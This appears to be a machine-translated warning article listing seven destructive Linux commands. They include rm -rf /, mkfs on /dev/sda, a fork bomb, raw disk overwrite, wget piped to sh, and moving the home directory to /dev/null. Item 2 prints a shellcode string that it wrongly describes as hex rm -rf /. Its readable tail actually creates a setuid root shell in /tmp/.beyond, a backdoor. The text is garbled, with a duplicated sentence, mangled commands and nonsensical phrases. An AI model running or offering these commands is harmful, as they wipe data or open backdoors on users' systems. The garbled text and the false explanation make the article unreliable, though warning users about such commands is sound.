If you are using Linux, remember not to let the dumb enter the following commands, although these commands seem quite complex, but it will still have a serious impact on your system.
If you are using Linux, remember not to let the dumb enter the following commands. although these commands seem complicated, they will still have a serious impact on your system.
Some of them will affect your program and system running, some will directly erase your disk, and there is almost no room for saving these commands.
1. Code:Rm-rf/
This is very simple. the root directory will be wiped out.
2. Code:
- Charesp [] _ attribute _ (section (". text")/* e. s. p
- Release */
- = "Xebx3ex5bx31xc0x50x54x5ax83xecx64x68"
- "Xffxffxffxffx68xdfxd0xdfxd9x68x8dx99"
- "Xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7"
- "X56x04xf7x56x08xf7x56x0cx83xc4x74x56"
- "X8dx73x08x56x53x54x59xb0x0bxcdx80x31"
- "Xc0x40xebxf9xe8xbdxffxffxffx2fx62x69"
- "X6ex2fx73x68x00x2dx63x00"
- "Cp-p/bin/sh/tmp/. beyond; chmod4755
- /Tmp/. beyond ;";
Did not understand? It's actually a hexadecimal [rm-rf/].
3. Code:Mkfs. ext3/dev/sda
Disk scalping is undoubtedly dangerous.
4. Code::() {:| :&};:
This is not a post-90 expression, nor is it an expression before totit shoots a penalty. it can quickly cause your system to crash due to processing a large amount of data.
5. Code:Any_command>/dev/sda
This command will write a large amount of RAW data, which can lead to data loss.
6. Code:Wgethttp: // some_untrusted_source-O-| sh
Like Windows, do not randomly download unconfirmed sources of security. Linux and carrots will not be safe this year.
7. Code:Mv/home/yourhomedirectory/*/dev/null
This command will undoubtedly drive the system crazy and your home directory will no longer be seen.
